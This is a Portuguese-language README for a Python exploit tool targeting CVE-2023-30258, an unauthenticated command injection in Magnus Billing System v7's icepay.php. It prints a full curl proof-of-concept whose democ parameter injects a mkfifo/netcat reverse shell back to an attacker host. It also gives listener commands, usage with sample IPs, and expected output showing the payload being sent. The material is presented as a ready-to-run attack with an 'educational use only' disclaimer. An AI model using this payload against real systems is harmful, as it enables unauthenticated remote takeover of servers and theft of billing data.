
Exploit automatizado em Python para CVE-2023-30258, uma injeção de comandos no Magnus Billing System v7. Envia uma requisição GET maliciosa para icepay.php a fim de executar comandos arbitrários e estabelecer um reverse shell.
Este script Python automatiza a exploração de uma vulnerabilidade de injeção de comandos no Magnus Billing System v7, especificamente no script icepay.php localizado em /mbilling/lib/icepay/icepay.php. O exploit aproveita o parâmetro democ para executar comandos arbitrários no sistema alvo, estabelecendo, em última análise, um reverse shell para uma máquina controlada pelo atacante.
A vulnerabilidade permite injeção de comandos sem autenticação por meio de uma solicitação GET manipulada. O proof-of-concept (PoC) original usava o seguinte comando curl:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
Este script automatiza esse processo, tornando-o configurável por meio de argumentos de linha de comando.
requests para enviar a solicitação HTTP com o payloadrequests:
pip install requests
netcat (nc) instalado para que o reverse shell funcionenetcat na máquina do atacante para capturar o reverse shellicepay.php acessívelexploit.pynetcat:
nc -lvnp <PORT>
Substitua <PORT> pela porta escolhida (por exemplo, 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Parâmetros:
-t, --target: Endereço IP do sistema Magnus Billing alvo-a, --attacker: Seu endereço IP para receber o reverse shell-p, --port: Porta na sua máquina para o reverse shellpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Saída Esperada:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat para interagir com o reverse shell, se for bem-sucedidomkfifo) com netcatprint(response.text) na função exploit()netcat instaladoEsta ferramenta é fornecida apenas para fins educacionais e de teste de segurança. Use-a somente em sistemas onde você tenha permissão explícita para testar. O uso não autorizado contra sistemas que você não possui ou para os quais não tem consentimento para testar é ilegal e antiético. O autor não é responsável por qualquer uso indevido ou dano causado por este script.
Este projeto é distribuído sob a Licença MIT. Sinta-se à vontade para modificá-lo e distribuí-lo conforme necessário, mantendo o aviso legal intacto.
Contribuições, relatórios de bugs e solicitações de recursos são bem-vindos. Sinta-se à vontade para enviar um pull request ou abrir uma issue.